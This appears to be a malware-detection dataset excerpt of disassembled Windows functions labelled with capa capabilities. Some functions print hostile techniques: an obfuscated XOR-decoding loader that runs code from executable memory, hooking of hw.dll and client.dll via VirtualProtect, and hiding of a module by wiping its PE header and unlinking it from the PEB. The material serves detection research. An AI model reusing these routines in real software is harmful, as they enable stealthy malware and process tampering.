joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100342a0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
mov eax, dword [0x101fac9c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x358], 0
push edi
push 0x1b0
push eax
mov dword [ebp - 0xc], eax
xor edi, edi
mov word [ebp - 8], ax
mov word [ebp - 0x35c], ax
mov byte [ebp - 0x35a], al
lea eax, [ebp - 0x354]
push eax
call fcn.10108310
push 0x80
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.10108310
push 0x80
lea eax, [ebp - 0x8c]
push edi
push eax
call fcn.10108310
add esp, 0x24
lea eax, [ebp - 0x354]
push eax
call dword [sym.imp.kernel32.dll_GetDynamicTimeZoneInformation]
cmp eax, 0xffffffff
je 0x100343be
push 0x10
call dword [sym.imp.kernel32.dll_GetUserGeoID]
push edi
push 3
lea ecx, [ebp - 0xc]
push ecx
push 4
push eax
call dword [sym.imp.kernel32.dll_GetGeoInfoW]
mov ebx, eax
lea eax, [ebp - 0x358]
push eax
push 3
lea eax, [ebp - 0xc]
push eax
push edi
lea eax, [ebp - 0x35c]
push 3
push eax
call fcn.1013e704
lea eax, [ebp - 0x358]
push eax
push str.windowsZones
push edi
call fcn.1013e704
mov esi, eax
lea eax, [ebp - 0x358]
push eax
push esi
push str.mapTimezones
push esi
call fcn.1013e704
lea eax, [ebp - 0x358]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x2a8]
push eax
push edi
lea eax, [ebp - 0x10c]
push 0x80
push eax
call fcn.1013e704
add esp, 0x4c
cmp dword [ebp - 0x358], edi
jle 0x100343d1
test esi, esi
je 0x100343be
push esi
call fcn.1013e704
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100e580b
mov esp, ebp
pop ebp
ret
cmp word [ebp - 0x2a8], di
je 0x100344b6
lea ecx, [ebp - 0x1a4]
call sym.icuuc67.dll_public:_void___thiscall_icu_67::StackUResourceBundle::constructor_void_
lea eax, [ebp - 0x358]
push eax
lea eax, [ebp - 0x1a4]
push eax
lea eax, [ebp - 0x10c]
push eax
push esi
call fcn.1013e704
add esp, 0x10
cmp dword [ebp - 0x358], edi
jg 0x100344ab
test ebx, ebx
je 0x10034441
lea eax, [ebp - 0x358]
push eax
lea eax, [ebp - 0x360]
push eax
lea eax, [ebp - 0x35c]
push eax
lea eax, [ebp - 0x1a4]
push eax
call fcn.1013e704
mov ecx, eax
add esp, 0x10
test ecx, ecx
jne 0x1003446b
lea eax, [ebp - 0x358]
mov dword [ebp - 0x358], edi
push eax
lea eax, [ebp - 0x360]
push eax
lea eax, [ebp - 0x1a4]
push 0x101684d4
push eax
call fcn.1013e704
add esp, 0x10
mov ecx, eax
cmp dword [ebp - 0x358], edi
jg 0x100344ab
movzx eax, word [ecx]
xor edx, edx
test ax, ax
je 0x100344a3
mov ebx, eax
nop
cmp bx, 0x20
je 0x1003449b
add ecx, 2
mov byte [ebp + edx - 0x8c], bl
inc edx
movzx eax, word [ecx]
mov ebx, eax
test ax, ax
jne 0x10034480
cmp edx, 0x80
jae 0x100344f0
mov byte [ebp + edx - 0x8c], 0
lea ecx, [ebp - 0x1a4]
call sym.icuuc67.dll_public:_void___thiscall_icu_67::StackUResourceBundle::destructor_void_
cmp byte [ebp - 0x8c], 0
je 0x100344d0
lea eax, [ebp - 0x8c]
push eax
call fcn.1013e704
add esp, 4
mov edi, eax
test esi, esi
je 0x100344dd
push esi
call fcn.1013e704
add esp, 4
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100e580b
mov esp, ebp
pop ebp
ret
call fcn.1013e704
int3
Function at 0x100a5380
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10154133
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x101fac9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], edi
mov dword [edi + 4], vtable.icu_67::UnicodeMatcher.0
mov esi, dword [ebp + 8]
lea eax, [edi + 0x34]
mov dword [edi], vtable.icu_67::UnicodeSet.0
mov dword [edi + 4], vtable.icu_67::UnicodeSet.1.0
mov dword [edi + 8], eax
mov dword [edi + 0xc], 0x19
mov dword [edi + 0x10], 1
mov byte [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
push dword [esi + 0x10]
mov dword [ebp - 4], 0
call fcn.1013e704
test al, al
je 0x100a5581
mov eax, dword [esi + 0x10]
mov dword [edi + 0x10], eax
shl eax, 2
push eax
push dword [esi + 8]
push dword [edi + 8]
call fcn.10108470
mov eax, dword [esi + 0x2c]
add esp, 0xc
test eax, eax
je 0x100a5528
cmp dword [eax + 4], 0
je 0x100a5528
push 0x18
mov dword [ebp - 0x10], 0
call fcn.1013e704
add esp, 4
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 1
test eax, eax
je 0x100a5488
lea ecx, [ebp - 0x10]
push ecx
push 1
push sym.icuuc67.dll_uhash_compareUnicodeString_67
push sym.icuuc67.dll_uprv_deleteUObject_67
mov ecx, eax
call fcn.1013e704
mov ebx, eax
jmp 0x100a548a
xor ebx, ebx
mov byte [ebp - 4], 0
mov dword [edi + 0x2c], ebx
test ebx, ebx
jne 0x100a549e
mov dword [ebp - 0x10], 7
jmp 0x100a54d8
cmp dword [ebp - 0x10], 0
jle 0x100a54bf
mov eax, dword [ebx]
push 1
mov esi, dword [eax]
mov ecx, esi
call dword [0x1015821c]
mov ecx, ebx
call esi
mov dword [edi + 0x2c], 0
jmp 0x100a54d8
lea eax, [ebp - 0x10]
mov ecx, ebx
push eax
push 0x100a6cb0
push dword [esi + 0x2c]
call fcn.1013e704
cmp dword [ebp - 0x10], 0
jle 0x100a5528
cmp dword [edi + 0x18], 0
jne 0x100a5522
cmp dword [edi + 0x30], 0
jne 0x100a5522
mov eax, dword [edi + 8]
mov dword [eax], 0x110000
mov eax, dword [edi + 0x24]
mov dword [edi + 0x10], 1
test eax, eax
je 0x100a5512
push eax
call fcn.1013e704
add esp, 4
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov ecx, dword [edi + 0x2c]
test ecx, ecx
je 0x100a551e
call sym.icuuc67.dll_public:_void___thiscall_icu_67::UVector::removeAllElements_void_
mov byte [edi + 0x14], 0
mov byte [edi + 0x14], 1
jmp 0x100a5581
mov ebx, dword [esi + 0x24]
test ebx, ebx
je 0x100a5581
mov eax, dword [edi + 0x24]
mov esi, dword [esi + 0x28]
test eax, eax
je 0x100a5550
push eax
call fcn.1013e704
add esp, 4
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
lea eax, [esi*2 + 2]
push eax
call fcn.1013e704
add esp, 4
mov dword [edi + 0x24], eax
test eax, eax
je 0x100a5581
push esi
push ebx
push eax
mov dword [edi + 0x28], esi
call fcn.1013e704
mov ecx, dword [edi + 0x28]
add esp, 0xc
mov eax, dword [edi + 0x24]
xor edx, edx
mov word [eax + ecx*2], dx
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x100a55a0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10154158
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x101fac9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_67::UnicodeMatcher.0
push 0
push dword [ebp + 8]
lea eax, [esi + 0x34]
mov dword [ebp - 4], 0
mov dword [esi], vtable.icu_67::UnicodeSet.0
mov dword [esi + 4], vtable.icu_67::UnicodeSet.1.0
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0x19
mov dword [esi + 0x10], 1
mov byte [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call fcn.1013e704
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x100a5650
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10154188
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x101fac9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_67::UnicodeMatcher.0
push dword [ebp + 0xc]
lea eax, [esi + 0x34]
mov dword [esi], vtable.icu_67::UnicodeSet.0
push dword [ebp + 8]
mov dword [esi + 4], vtable.icu_67::UnicodeSet.1.0
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0x19
mov dword [esi + 0x10], 1
mov byte [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
mov dword [ebp - 4], 0
mov dword [eax], 0x110000
call fcn.1013e704
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x100a81d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, ecx
push esi
xor esi, esi
mov dword [ebp - 0xc], ebx
push edi
mov eax, dword [ebx + 0xc]
cdq
sub eax, edx
sar eax, 1
mov dword [ebp - 4], eax
test eax, eax
jle 0x100a8233
mov eax, dword [ebx + 4]
movzx edx, byte [ebp + 8]
mov dword [ebp - 8], eax
nop dword [eax]
mov ebx, dword [eax + esi*8 + 4]
mov ecx, dword [eax + esi*8]
dec ebx
mov eax, ebx
movzx edi, cl
xor eax, ecx
test eax, 0xffffff00
jne 0x100a821c
cmp edi, edx
ja 0x100a8227
jmp 0x100a8220
cmp edi, edx
jbe 0x100a827c
movzx eax, bl
cmp edx, eax
jbe 0x100a827c
mov eax, dword [ebp - 8]
inc esi
cmp esi, dword [ebp - 4]
jl 0x100a8200
mov ebx, dword [ebp - 0xc]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x100a8271
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x100a8271
xor esi, esi
test ecx, ecx
jle 0x100a8271
movzx edi, byte [ebp + 8]
nop dword [eax + eax]
push esi
mov ecx, eax
call fcn.1013e704
push 0
mov ecx, eax
call fcn.1013e704
movzx eax, al
cmp eax, edi
je 0x100a827c
mov eax, dword [ebx + 0x28]
inc esi
cmp esi, dword [eax + 4]
jl 0x100a8250
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x100a96e0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10154548
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x101fac9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_67::UnicodeMatcher.0
push dword [ebp + 0x18]
lea eax, [esi + 0x34]
mov dword [ebp - 4], 0
push dword [ebp + 0x14]
mov dword [esi], vtable.icu_67::UnicodeSet.0
push dword [ebp + 0x10]
mov dword [esi + 4], vtable.icu_67::UnicodeSet.1.0
push dword [ebp + 0xc]
mov dword [esi + 8], eax
push dword [ebp + 8]
mov dword [esi + 0xc], 0x19
mov dword [esi + 0x10], 1
mov byte [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call fcn.1013e704
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0x14
Function at 0x100a97a0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10154578
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x101fac9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_67::UnicodeMatcher.0
push dword [ebp + 0x14]
lea eax, [esi + 0x34]
mov dword [ebp - 4], 0
push dword [ebp + 0x10]
mov dword [esi], vtable.icu_67::UnicodeSet.0
push dword [ebp + 0xc]
mov dword [esi + 4], vtable.icu_67::UnicodeSet.1.0
push dword [ebp + 8]
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0x19
mov dword [esi + 0x10], 1
mov byte [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call fcn.1013e704
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x100a9f80
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10154688
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x101fac9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_67::UnicodeMatcher.0
push dword [ebp + 0xc]
lea eax, [esi + 0x34]
mov dword [ebp - 4], 0
push dword [ebp + 8]
mov dword [esi], vtable.icu_67::UnicodeSet.0
mov dword [esi + 4], vtable.icu_67::UnicodeSet.1.0
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0x19
mov dword [esi + 0x10], 1
mov byte [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call fcn.1013e704
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x1013e704
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x1013e713
pop dword [ebp - 0x34]
mov eax, 0x3320b2e5
add eax, 0xdcf3342e
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x85b59
push 0
mov eax, 0xdbb00762
sub eax, 0xcb9a8636
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0x36e4
xor edx, edx
add edx, eax
mov esi, 0x1020fa00
add esi, dword [ebp - 0x34]
mov ebx, 0xe6974abd
add dword [ebp - 0x2c], 0x18f6d0ac
mov edi, dword [esi]
xor dword [ebp - 0x1c], 0xcde11012
add edi, ebx
xor dword [ebp - 0x20], 0x68e54bf9
mov dword [edx], edi
add dword [ebp - 0x10], 0xdba56682
add edx, 0x17da75bb
add edx, 0xe8258a49
add esi, 4
loop 0x1013e762
add eax, 0xce63
mov ebx, eax
add eax, 0xd44d1f5c
sub eax, 0xd44d1f57
mov ecx, 0xd5502fce
sub ecx, 0xc5502fce
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x1000bec2
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x100123ff
call fcn.100110a9
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x424], eax
mov eax, dword [ebp + 0x10]
xor ebx, ebx
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x428], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x430], ebx
mov dword [ebp - 0x418], ebx
mov byte [ebp - 4], 1
cmp esi, ebx
je 0x1000bf70
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
inc eax
push 2
push eax
mov dword [ebp - 0x41c], eax
lea eax, [ebp - 0x41c]
push eax
call fcn.1000e2d4
add esp, 0xc
test eax, eax
js 0x1000bf70
mov edi, dword [ebp - 0x41c]
cmp edi, 0x400
jg 0x1000bf56
push edi
call fcn.10001a54
pop ecx
test al, al
je 0x1000bf56
mov eax, edi
call fcn.10010fd0
mov dword [ebp - 0x10], esp
mov eax, esp
jmp 0x1000bf62
push edi
lea ecx, [ebp - 0x428]
call fcn.1000e2d4
push 3
push edi
push esi
push eax
call fcn.1000e2d4
cmp eax, ebx
jne 0x1000bfad
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x1000bf89
lea ecx, [ebp - 0x418]
call fcn.1000a9be
mov esi, 0x8007000e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x428]
call fcn.10001519
mov eax, esi
lea esp, [ebp - 0x440]
call fcn.10011105
ret 0x10
push 2
push ebx
push eax
call fcn.1000abcb
mov edi, eax
mov dword [ebp - 0x41c], edi
cmp edi, ebx
jne 0x1000bfce
call fcn.1000235a
mov esi, eax
jmp 0x1000c098
push dword [ebp - 0x420]
push dword [ebp - 0x424]
push edi
call dword [sym.imp.kernel32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
jne 0x1000bff1
call fcn.1000235a
jmp 0x1000c08a
push esi
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x420], eax
cmp eax, ebx
je 0x1000bfe7
push esi
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov esi, eax
lea eax, [esi + 1]
mov dword [ebp - 0x424], esi
cmp eax, esi
jae 0x1000c021
mov esi, 0x8007000e
jmp 0x1000c08c
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.1000e2d4
mov dword [ebp - 4], 1
jmp 0x1000c04f
cmp dword [ebp - 0x418], ebx
je 0x1000c01a
push esi
push dword [ebp - 0x420]
push esi
push dword [ebp - 0x418]
call fcn.1000e2d4
mov eax, dword [ebp - 0x418]
add esp, 0x10
push dword [ebp + 0x14]
mov byte [eax + esi], bl
push dword [ebp - 0x418]
lea ecx, [ebp - 0x430]
call fcn.1000e2d4
mov esi, eax
push dword [ebp - 0x41c]
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x1000bf8e
lea ecx, [ebp - 0x418]
call fcn.1000a9be
jmp 0x1000bf8e
Function at 0x1000d596
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x3c
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [sym.imp.MSVCR100.dll__wcsicmp]
push edi
mov edi, dword [eax + 8]
push str.http:__
push ebx
add edi, 0x568
call esi
pop ecx
pop ecx
test eax, eax
je 0x1000d61b
push str.file:__
push ebx
call esi
pop ecx
pop ecx
test eax, eax
je 0x1000d61b
push dword [ebp + 0xc]
push ebx
call esi
pop ecx
pop ecx
test eax, eax
je 0x1000d61b
push 0x38
xor esi, esi
lea eax, [ebp - 0x38]
push esi
push eax
mov dword [ebp - 0x3c], 0x3c
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x3c]
push eax
push esi
push esi
push ebx
call dword [sym.imp.wininet.dll_InternetCrackUrlW]
test eax, eax
je 0x1000d61e
cmp dword [ebp - 0x30], 1
je 0x1000d617
cmp dword [ebp - 0x30], 2
jle 0x1000d61e
cmp dword [ebp - 0x30], 4
jg 0x1000d61e
mov edi, ebx
jmp 0x1000d61e
mov edi, dword [ebp + 0xc]
push edi
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
call fcn.1000e2d4
add esp, 0x10
pop edi
pop esi
pop ebx
leave
ret 0x20
Function at 0x10001dd0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push esi
mov esi, eax
push edi
mov ecx, 0x83
mov edi, 0x10012068
rep movsd dword es:[edi], dword [esi]
mov dword [eax + 0x114], 0x10001d90
mov eax, dword [0x10011fb8]
mov ecx, dword [eax + 0x30]
mov edx, dword [eax + ecx + 0x35]
lea eax, [eax + ecx + 0x34]
lea eax, [eax + edx + 5]
mov dword [ebp - 4], eax
call dword [ebp - 4]
mov ecx, dword [0x100121c0]
mov edx, dword [ecx + 8]
mov eax, dword [edx + 0x51]
mov esi, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push str.xx____xxxxxxxxx____
push 0x1000e250
push 0x122a000
push str.hw.dll
mov dword [0x100122c0], eax
call esi
push eax
call fcn.10002e40
mov eax, dword [eax + 2]
add esp, 0x10
lea ecx, [ebp + 8]
push ecx
push 0x40
push 8
push eax
mov dword [0x100122c4], eax
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
push str.x____xxxxx_xx________x____x___
push 0x1000e208
push 0x159000
push str.client.dll
call esi
push eax
call fcn.10002e40
mov edx, dword [eax + 0xd]
add esp, 0x10
add eax, 0xd
pop edi
mov dword [0x100122bc], edx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10002fb0
Capabilities:
Access peb ldr_data
Get process heap flags
Parse pe header

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp word [esi], 0x5a4d
jne 0x100030d8
mov eax, dword [esi + 0x3c]
mov ecx, dword [eax + esi]
add eax, esi
cmp ecx, 0x4550
push edi
jne 0x1000300f
push ebx
mov ebx, dword [eax + 0x54]
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea eax, [esp + 0x14]
push eax
push 4
push ebx
push esi
call ebp
test eax, eax
je 0x1000300d
mov ecx, ebx
mov edx, ecx
shr ecx, 2
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x14]
push eax
push ecx
push ebx
push esi
call ebp
pop ebp
pop ebx
mov dword [esp + 0xc], 0
mov eax, dword fs:[0x18]
mov dword [esp + 0xc], eax
mov edx, dword [esp + 0xc]
mov eax, dword [edx + 0x30]
mov ecx, dword [eax + 0xc]
mov eax, dword [ecx + 0xc]
add ecx, 0xc
cmp eax, ecx
je 0x100030d7
lea esp, [esp]
cmp dword [eax + 0x18], esi
mov edx, eax
je 0x10003050
mov eax, dword [eax]
cmp eax, ecx
jne 0x10003040
pop edi
pop esi
ret
mov ecx, dword [eax + 4]
mov esi, dword [eax]
mov dword [ecx], esi
mov ecx, dword [eax]
mov esi, dword [eax + 4]
mov dword [ecx + 4], esi
xor ecx, ecx
mov esi, eax
mov dword [esi], ecx
mov dword [esi + 4], ecx
mov ecx, dword [eax + 0xc]
mov esi, dword [eax + 8]
mov dword [ecx], esi
mov ecx, dword [eax + 8]
mov esi, dword [eax + 0xc]
mov dword [ecx + 4], esi
add eax, 8
xor ecx, ecx
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov eax, dword [edx + 0x14]
mov ecx, dword [edx + 0x10]
mov dword [eax], ecx
mov eax, dword [edx + 0x10]
mov ecx, dword [edx + 0x14]
mov dword [eax + 4], ecx
xor eax, eax
mov dword [edx + 0x10], eax
mov dword [edx + 0x14], eax
mov ecx, dword [edx + 0x40]
mov eax, dword [edx + 0x3c]
mov dword [ecx], eax
mov ecx, dword [edx + 0x3c]
mov eax, dword [edx + 0x40]
mov dword [ecx + 4], eax
xor ecx, ecx
mov dword [edx + 0x3c], ecx
mov dword [edx + 0x40], ecx
movzx ecx, word [edx + 0x24]
mov edi, dword [edx + 0x28]
mov esi, ecx
shr ecx, 2
xor eax, eax
rep stosd dword es:[edi], eax
mov ecx, esi
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, 0x12
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
pop edi
pop esi
ret

Function at 0x100030e0
Capabilities:
Create thread

Disassembly:
cmp dword [esp + 8], 1
jne 0x10003111
push esi
mov esi, dword [esp + 8]
push esi
call fcn.10002eb0
push esi
call fcn.10002fb0
add esp, 8
push 0
push 0
push 0
push 0x10002f00
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
pop esi
mov eax, 1
ret 0xc
Function at 0x10004126
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
cmp eax, 1
push esi
jne 0x10004216
mov eax, 0x94
call fcn.100081d0
mov esi, esp
push esi
mov dword [esi], 0x94
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
test eax, eax
je 0x1000428b
mov ecx, dword [esi + 0x10]
mov dword [0x1001259c], ecx
mov eax, dword [esi + 4]
mov dword [0x100125a8], eax
mov edx, dword [esi + 8]
mov dword [0x100125ac], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
cmp ecx, 2
mov dword [0x100125a0], esi
je 0x10004191
or esi, 0x8000
mov dword [0x100125a0], esi
shl eax, 8
add eax, edx
push 1
mov dword [0x100125a4], eax
call fcn.100080f2
test eax, eax
pop ecx
je 0x1000428b
call fcn.10006d5c
test eax, eax
jne 0x100041be
call fcn.10008143
jmp 0x1000428b
call fcn.10008050
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov dword [0x10013c84], eax
call fcn.10007f2e
mov dword [0x10012414], eax
call fcn.10007a0f
test eax, eax
jl 0x1000420f
call fcn.10007e8c
test eax, eax
jl 0x1000420a
call fcn.10007c59
test eax, eax
jl 0x1000420a
push 0
call fcn.10007518
test eax, eax
pop ecx
jne 0x1000420a
inc dword [0x10012410]
jmp 0x1000429c
call fcn.10007c0d
call fcn.10006b45
jmp 0x100041b4
test eax, eax
jne 0x10004246
cmp dword [0x10012410], eax
jle 0x1000428b
dec dword [0x10012410]
cmp dword [0x100125d8], eax
jne 0x10004235
call fcn.10007656
call fcn.10007c0d
call fcn.10006b45
call fcn.10008143
jmp 0x1000429c
cmp eax, 2
jne 0x1000428f
push 0x8c
push 1
call fcn.10007954
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x1000428b
push esi
push dword [0x1001154c]
call dword [0x1001243c]
test eax, eax
push esi
je 0x10004285
call fcn.10006b62
pop ecx
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
or dword [esi + 4], 0xffffffff
mov dword [esi], eax
jmp 0x1000429c
call fcn.10004d09
pop ecx
xor eax, eax
jmp 0x1000429f
cmp eax, 3
jne 0x1000429c
push 0
call fcn.10006d2d
pop ecx
xor eax, eax
inc eax
lea esp, [ebp - 4]
pop esi
pop ebp
ret 0xc

Function at 0x10007582
Capabilities:
Terminate process

Disassembly:
push 8
push 0x1000ea20
call fcn.10005190
push 8
call fcn.1000714b
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x100125dc], esi
jne 0x100075b6
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov dword [0x100125d8], esi
mov al, byte [ebp + 0x10]
mov byte [0x100125d4], al
cmp dword [ebp + 0xc], edi
jne 0x10007600
cmp dword [0x10012c68], edi
je 0x100075f0
mov eax, dword [0x10012c64]
sub eax, 4
mov dword [0x10012c64], eax
cmp eax, dword [0x10012c68]
jb 0x100075f0
mov eax, dword [eax]
cmp eax, edi
je 0x100075d1
call eax
jmp 0x100075d1
push 0x10011030
mov eax, 0x10011028
call fcn.10007500
pop ecx
push 0x1001103c
mov eax, 0x10011034
call fcn.10007500
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x10007631
cmp dword [ebp + 0x10], edi
jne 0x1000763f
mov dword [0x100125dc], esi
push dword [ebp + 8]
call fcn.100074be
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x1000763e
push 8
call fcn.10007096
pop ecx
ret
call fcn.100051cb
ret